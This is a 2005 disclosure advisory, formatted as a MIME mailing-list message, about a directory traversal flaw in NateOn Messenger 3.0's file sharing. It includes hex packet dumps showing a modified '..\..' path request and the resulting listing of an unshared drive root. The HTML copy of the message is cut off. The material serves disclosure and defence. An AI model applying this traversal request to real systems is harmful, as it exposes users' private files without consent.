exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NateOnMessenger30.txt

NateOnMessenger30.txt
Posted Jul 12, 2005
Authored by Gyu Tae Park

NateOn Messenger version 3.0 suffers from a file sharing flaw that allows for traversal attacks allowing for directory listings.

tags | advisory
SHA-256 | a157445ef865217d7b1580f0f7ac5491ad8fecbb7adea172c98f43feaf172303
Download | Favorite | View

NateOnMessenger30.txt

Change Mirror Download
This is a multi-part message in MIME format.

------=_NextPart_000_0026_01C586CF.3CA97D20
Content-Type: text/plain;
  charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable

Dear F/D Mailing lists

=20

Title:               NateOn Messenger Version 3.0 Directory listing
vulnerability

Discoverer:        PARK, GYU TAE (saintlinu@null2root.org)

Advisory No.:      NRVA05-02

Critical:            Less critical

Impact:            Information disclosed by unauthorized user and DoS

Where:             From remote

Operating System:  Windows Only

Solution:             patched

Workaround:         Disable fileshare function until patched by vendor

=20

Notice:            06. 20. 2005 initiate - No response

                    06. 23. 2005 2ND - No response

                    06. 27. 2005 Disclosure vulnerability

                 06. 29. 2005 Secunia notify and vendor responded

                 07. 0X. 2005. Patched (I don=A1=AFt know exactly =
patched date
bcoz vendor not inform to me)

=20

Description:=20

The NateOn, twenties and thirties guys famous messenger in Korea, is
Internet messenger such as MSN.

There is vulnerability in FileShare.=20

When user shared some folder like a=A1=AEopenFolder=A1=AF then =
registered friends
can access that folder.

Also we can access unshared folder like a=A1=AE%windir%=A1=AF. Because =
NateOn
believes user=A1=AFs modified request.

=20

See following detail describe:

=20

Target friend id is =A1=AEbuddyid=3D??????@nate.com=A1=AF

Shared folder name is =A1=AEdebug=A1=AF

=20

[recv] Message - ### Socket : 1088 / Content-Length : 9190

Content :=20

00 20 31 20 31 39 38 0D 0A 3C 66 6F 6C 64 65 72 . 1 198..<folder

6C 69 73 74 20 6E 61 6D 65 3D 27 B3 CA B8 B8 BF list name=3D'.....

CD 27 20 62 75 64 64 79 69 64 3D 27 XX XX XX XX .' buddyid=3D'XXXX

XX XX 40 6E 61 74 65 2E 63 6F 6D 27 20 74 79 70 XX@nate.com' typ

65 3D 27 30 27 3E 3C 66 6F 6C 64 65 72 69 6E 66 e=3D'0'><folderinf

6F 20 6E 61 6D 65 3D 27 2B 5F 2B 27 20 61 75 74 o name=3D'+_+' aut

68 6F 72 69 74 79 3D 27 32 27 20 66 6F 6C 64 65 hority=3D'2' folde

72 69 64 3D 27 30 27 20 66 6F 6C 64 65 72 70 61 rid=3D'0' folderpa

74 68 3D 27 43 3A 5C 64 65 62 75 67 27 20 63 6F th=3D'C:\debug' co

6D 6D 65 6E 74 3D 27 2B 5F 2B 27 20 61 64 64 64 mment=3D'+_+' addd

61 74 65 3D 27 32 30 30 35 30 35 32 36 31 37 35 ate=3D'20050526175

32 33 37 27 3E 3C 2F 66 6F 6C 64 65 72 69 6E 66 237'></folderinf

6F 3E 3C 2F 66 6F 6C 64 65 72 6C 69 73 74 3E 00 o></folderlist>.

00 00 00 00 00 00                               ......

=20

----------------------------------------------------------------

=20

We received target user=A1=AFs shared folder information.=20

But we can modify send packet using Win32API CraeteRemoteThread

Just substituted =A1=AEdebug=A1=AF to =A1=AE..\..=A1=AF

=20

[send] Message - ### Socket : 1088 / Content-Length : 25

Content :=20

46 4C 52 4D 20 32 20 46 49 4C 45 5F 4C 49 53 54 FLRM 2 FILE_LIST

20 31 20 31 20 32 38 0D 0A                       1 1 28..

=20

[send] Message - ### Socket : 1088 / Content-Length : 28

Content :=20

30 20 XX XX XX XX XX XX XX XX 40 6E 61 74 65 2E 0 YYYYYYYY@nate.

63 6F 6D 20 43 3A 5C 2E 2E 5C 2E 2E             com C:\..\..

=20

----------------------------------------------------------------

You can see the below messages.=20

=20

[recv] Message - ### Socket : 1088 / Content-Length : 9216

Content :=20

00 4C 52 4D 20 31 20 46 49 4C 45 5F 4C 49 53 54 .LRM 1 FILE_LIST

20 31 20 31 20 39 38 31 0D 0A 3C 66 69 6C 65 6C  1 1 981..<filel

69 73 74 20 69 64 3D 27 XX XX XX XX XX XX 40 6E ist id=3D'XXXXXX@n

61 74 65 2E 63 6F 6D 27 20 61 75 74 68 3D 27 32 ate.com' auth=3D'2

27 20 70 61 74 68 3D 27 43 3A 5C 2E 2E 5C 2E 2E ' path=3D'C:\..\..

27 20 66 6F 6C 64 65 72 69 64 3D 27 30 27 3E 3C ' folderid=3D'0'><

66 69 6C 65 20 6E 61 6D 65 3D 27 41 55 54 4F 45 file name=3D'AUTOE

58 45 43 2E 42 41 54 27 20 73 69 7A 65 3D 27 30 XEC.BAT' size=3D'0

27 20 64 61 74 65 3D 27 32 30 30 34 2D 30 39 2D ' date=3D'2004-09-

31 35 20 31 36 3A 34 32 3A 30 37 27 20 69 73 66 15 16:42:07' isf

6F 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 older=3D'n'/><file

20 6E 61 6D 65 3D 27 43 4F 4E 46 49 47 2E 53 59  name=3D'CONFIG.SY

53 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 65 S' size=3D'0' date

3D 27 32 30 30 34 2D 30 39 2D 31 35 20 31 36 3A =3D'2004-09-15 16:

34 32 3A 30 37 27 20 69 73 66 6F 6C 64 65 72 3D 42:07' isfolder=3D

27 6E 27 2F 3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 'n'/><file name=3D

27 64 65 73 6B 74 6F 70 5F 61 75 64 69 74 2E 74 'desktop_audit.t

78 74 27 20 73 69 7A 65 3D 27 32 30 38 34 27 20 xt' size=3D'2084'=20

64 61 74 65 3D 27 32 30 30 35 2D 30 35 2D 32 34 date=3D'2005-05-24

20 30 30 3A 32 32 3A 32 38 27 20 69 73 66 6F 6C  00:22:28' isfol

64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 20 6E der=3D'n'/><file n

61 6D 65 3D 27 64 6E 2E 76 62 73 27 20 73 69 7A ame=3D'dn.vbs' siz

65 3D 27 33 32 34 27 20 64 61 74 65 3D 27 32 30 e=3D'324' date=3D'20

30 34 2D 31 30 2D 32 30 20 31 38 3A 33 31 3A 33 04-10-20 18:31:3

38 27 20 69 73 66 6F 6C 64 65 72 3D 27 6E 27 2F 8' isfolder=3D'n'/

3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 27 65 64 69 ><file name=3D'edi

2E 65 78 65 27 20 73 69 7A 65 3D 27 33 32 37 36 .exe' size=3D'3276

38 27 20 64 61 74 65 3D 27 32 30 30 34 2D 31 30 8' date=3D'2004-10

2D 32 30 20 31 38 3A 30 37 3A 30 35 27 20 69 73 -20 18:07:05' is

66 6F 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C folder=3D'n'/><fil

65 20 6E 61 6D 65 3D 27 6D 73 30 34 2D 30 33 32 e name=3D'ms04-032

2E 77 6D 66 27 20 73 69 7A 65 3D 27 35 37 36 27 .wmf' size=3D'576'

20 64 61 74 65 3D 27 32 30 30 34 2D 31 30 2D 32  date=3D'2004-10-2

30 20 31 38 3A 33 33 3A 34 31 27 20 69 73 66 6F 0 18:33:41' isfo

6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 20 lder=3D'n'/><file=20

6E 61 6D 65 3D 27 63 6F 6E 63 65 72 74 27 20 73 name=3D'concert' s

69 7A 65 3D 27 30 27 20 64 61 74 65 3D 27 32 30 ize=3D'0' date=3D'20

30 34 2D 31 30 2D 32 30 20 31 35 3A 31 32 3A 35 04-10-20 15:12:5

37 27 20 69 73 66 6F 6C 64 65 72 3D 27 79 27 2F 7' isfolder=3D'y'/

3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 27 64 65 62 ><file name=3D'deb

75 67 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 ug' size=3D'0' dat

65 3D 27 32 30 30 35 2D 30 35 2D 32 33 20 31 32 e=3D'2005-05-23 12

3A 34 38 3A 33 37 27 20 69 73 66 6F 6C 64 65 72 :48:37' isfolder

3D 27 79 27 2F 3E 3C 66 69 6C 65 20 6E 61 6D 65 =3D'y'/><file name

3D 27 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 20 =3D'Documents and=20

53 65 74 74 69 6E 67 73 27 20 73 69 7A 65 3D 27 Settings' size=3D'

30 27 20 64 61 74 65 3D 27 32 30 30 34 2D 30 39 0' date=3D'2004-09

2D 31 35 20 31 37 3A 30 39 3A 31 34 27 20 69 73 -15 17:09:14' is

66 6F 6C 64 65 72 3D 27 79 27 2F 3E 3C 66 69 6C folder=3D'y'/><fil

65 20 6E 61 6D 65 3D 27 50 72 6F 67 72 61 6D 20 e name=3D'Program=20

46 69 6C 65 73 27 20 73 69 7A 65 3D 27 30 27 20 Files' size=3D'0'=20

64 61 74 65 3D 27 32 30 30 35 2D 30 35 2D 32 36 date=3D'2005-05-26

20 30 38 3A 30 36 3A 31 31 27 20 69 73 66 6F 6C  08:06:11' isfol

64 65 72 3D 27 79 27 2F 3E 3C 66 69 6C 65 20 6E der=3D'y'/><file n

61 6D 65 3D 27 74 65 73 74 27 20 73 69 7A 65 3D ame=3D'test' size=3D

27 30 27 20 64 61 74 65 3D 27 32 30 30 35 2D 30 '0' date=3D'2005-0

34 2D 32 30 20 31 34 3A 31 35 3A 34 39 27 20 69 4-20 14:15:49' i

73 66 6F 6C 64 65 72 3D 27 79 27 2F 3E 3C 66 69 sfolder=3D'y'/><fi

6C 65 20 6E 61 6D 65 3D 27 57 49 4E 44 4F 57 53 le name=3D'WINDOWS

27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 65 3D ' size=3D'0' date=3D

27 32 30 30 34 2D 31 30 2D 32 30 20 31 36 3A 30 '2004-10-20 16:0

30 3A 31 37 27 20 69 73 66 6F 6C 64 65 72 3D 27 0:17' isfolder=3D'

79 27 2F 3E 3C 2F 66 69 6C 65 6C 69 73 74 3E 00 y'/></filelist>.

00 00 00 00 00 00                               ......

=20

buddy id =3D YYYYYY@nate.com

Requested directory =3D 'C:\..\..'

File lists on unshared directory

=20

<filelist id=3D'YYYYYY@nate.com' auth=3D'2' path=3D'C:\..\..' =
folderid=3D'0'>

<file name=3D'AUTOEXEC.BAT'           size=3D'0'     date=3D'2004-09-15 =
16:42:07'
isfolder=3D'n'/>

<file name=3D'CONFIG.SYS'             size=3D'0'     date=3D'2004-09-15 =
16:42:07'
isfolder=3D'n'/>

<file name=3D'desktop_audit.txt'      size=3D'2084'  date=3D'2005-05-24 =
00:22:28'
isfolder=3D'n'/>

<file name=3D'dn.vbs'                 size=3D'324'   date=3D'2004-10-20 =
18:31:38'
isfolder=3D'n'/>

<file name=3D'edi.exe'                size=3D'32768' date=3D'2004-10-20 =
18:07:05'
isfolder=3D'n'/>

<file name=3D'ms04-032.wmf'           size=3D'576'   date=3D'2004-10-20 =
18:33:41'
isfolder=3D'n'/>

<file name=3D'concert'                size=3D'0'     date=3D'2004-10-20 =
15:12:57'
isfolder=3D'y'/>

<file name=3D'debug'                  size=3D'0'     date=3D'2005-05-23 =
12:48:37'
isfolder=3D'y'/>

<file name=3D'Documents and Settings' size=3D'0'     date=3D'2004-09-15 =
17:09:14'
isfolder=3D'y'/>

<file name=3D'Program Files'          size=3D'0'     date=3D'2005-05-26 =
08:06:11'
isfolder=3D'y'/>

<file name=3D'test'                   size=3D'0'     date=3D'2005-04-20 =
14:15:49'
isfolder=3D'y'/>

<file name=3D'WINDOWS'                size=3D'0'     date=3D'2004-10-20 =
16:00:17'
isfolder=3D'y'/>

</filelist>.

=20

---------------------[cut =
cut]----------------------------------------------

=20

Thanks my Null@Root members

=20

PS. I=A1=AFm very sorry for my poor English

=20

Cheers


------=_NextPart_000_0026_01C586CF.3CA97D20
Content-Type: text/html;
  charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dks_c_5601-1987">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"country-region"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"date"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"time"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PersonName"/>
<!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
  {font-family:=B9=D9=C5=C1;
  panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
  {font-family:=B5=B8=BF=F2;
  panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
  {font-family:=B1=BC=B8=B2;
  panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
  {font-family:"\@=B1=BC=B8=B2";
  panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
  {font-family:"\@=B9=D9=C5=C1";
  panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
  {font-family:"MS Reference Sans Serif";
  panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
  {font-family:"\@=B5=B8=BF=F2";
  panose-1:2 11 6 0 0 1 1 1 1 1;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
  {margin:0cm;
  margin-bottom:.0001pt;
  text-align:justify;
  text-justify:inter-ideograph;
  text-autospace:none;
  word-break:break-hangul;
  font-size:10.0pt;
  font-family:=B9=D9=C5=C1;}
a:link, span.MsoHyperlink
  {color:blue;
  text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
  {color:purple;
  text-decoration:underline;}
p.MsoDocumentMap, li.MsoDocumentMap, div.MsoDocumentMap
  {margin:0cm;
  margin-bottom:.0001pt;
  text-align:justify;
  text-justify:inter-ideograph;
  background:navy;
  text-autospace:none;
  word-break:break-hangul;
  font-size:10.0pt;
  font-family:Arial;}
span.EmailStyle17
  {mso-style-type:personal-compose;
  font-family:=B1=BC=B8=B2;
  color:windowtext;}
 /* Page Definitions */
 @page Section1
  {size:595.3pt 841.9pt;
  margin:99.25pt 3.0cm 3.0cm 3.0cm;
  layout-grid:18.0pt;}
div.Section1
  {page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1" />
 </o:shapelayout></xml><![endif]-->
</head>

<body lang=3DKO link=3Dblue vlink=3Dpurple>

<div class=3DSection1 style=3D'layout-grid:18.0pt'>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'>Dear F/D Mailing =
lists<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D=B1=BC=B8=B2><span =
lang=3DEN-US style=3D'font-size:10.0pt;
font-family:=B1=BC=B8=B2'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Title:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;
&nbsp;&nbsp;NateOn Messenger Version 3.0 Directory listing =
vulnerability<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Discoverer:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PARK, GYU TAE (saintlinu@null2root.org)<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Advisory
No.:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
NRVA05-02<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Critical:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;Less critical<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Impact:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;
Information disclosed by unauthorized user and =
DoS<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Where:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;
>>From remote<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Operating System:&nbsp; Windows =
Only<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Solution:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;patched<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Workaround:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;Disable fileshare function until patched by =
vendor<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>Notice:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;
06. 20. 2005 initiate – No response<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;06. 23. 2005 2ND – No response<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;06. 27. 2005 Disclosure vulnerability<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
06. 29. 2005 Secunia notify and vendor =
responded<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
07. 0X. 2005. Patched (I don=A1=AFt know exactly patched date bcoz =
vendor not inform
to me)<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Description: =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>The NateOn, twenties and thirties =
guys
famous messenger in <st1:place w:st=3D"on"><st1:country-region =
w:st=3D"on">Korea</st1:country-region></st1:place>,
is Internet messenger such as MSN.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>There is vulnerability in =
FileShare. <o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>When user shared some folder like
a=A1=AEopenFolder=A1=AF then registered friends can access that =
folder.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Also we can access unshared =
folder like
a=A1=AE%windir%=A1=AF. Because NateOn believes user=A1=AFs modified =
request.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>See following detail =
describe:<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Target friend id is =
=A1=AEbuddyid=3D??????@nate.com=A1=AF<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Shared folder name is =
=A1=AEdebug=A1=AF<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans =
Serif"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>[recv] Message - ### Socket : =
1088 /
Content-Length : 9190<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>Content : =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>00 20 31 20 31 39 38 0D 0A 3C 66 =
6F 6C
64 65 72 . 1 198..<folder<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6C 69 73 74 20 6E 61 6D 65 3D 27 =
B3 CA
B8 B8 BF list name=3D'.....<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>CD 27 20 62 75 64 64 79 69 64 3D =
27 XX
XX XX XX .' buddyid=3D'XXXX<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>XX XX 40 6E 61 74 65 2E 63 6F 6D =
27 20
74 79 70 XX@nate.com' typ<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>65 3D 27 30 27 3E 3C 66 6F 6C 64 =
65 72
69 6E 66 e=3D'0'><folderinf<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6F 20 6E 61 6D 65 3D 27 2B 5F 2B =
27 20
61 75 74 o name=3D'+_+' aut<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>68 6F 72 69 74 79 3D 27 32 27 20 =
66 6F
6C 64 65 hority=3D'2' folde<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>72 69 64 3D 27 30 27 20 66 6F 6C =
64 65
72 70 61 rid=3D'0' folderpa<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>74 68 3D 27 43 3A 5C 64 65 62 75 =
67 27
20 63 6F th=3D'C:\debug' co<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>6D 6D 65 6E 74 3D 27 2B 5F 2B 27 =
20 61
64 64 64 mment=3D'+_+' addd<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>61 74 65 3D 27 32 30 30 35 30 35 =
32 36
31 37 35 ate=3D'20050526175<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:"MS Reference Sans Serif"'>32 33 37 27 3E 3C 2F 66 6F 6C 64 =
65 72
69 6E 66 237'></folderinf<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'layout-grid-mode:char'><font size=3D2
face=3D"MS Reference Sans Serif"><span lang=3DEN-US =
style=3D'font-size:10.0pt;
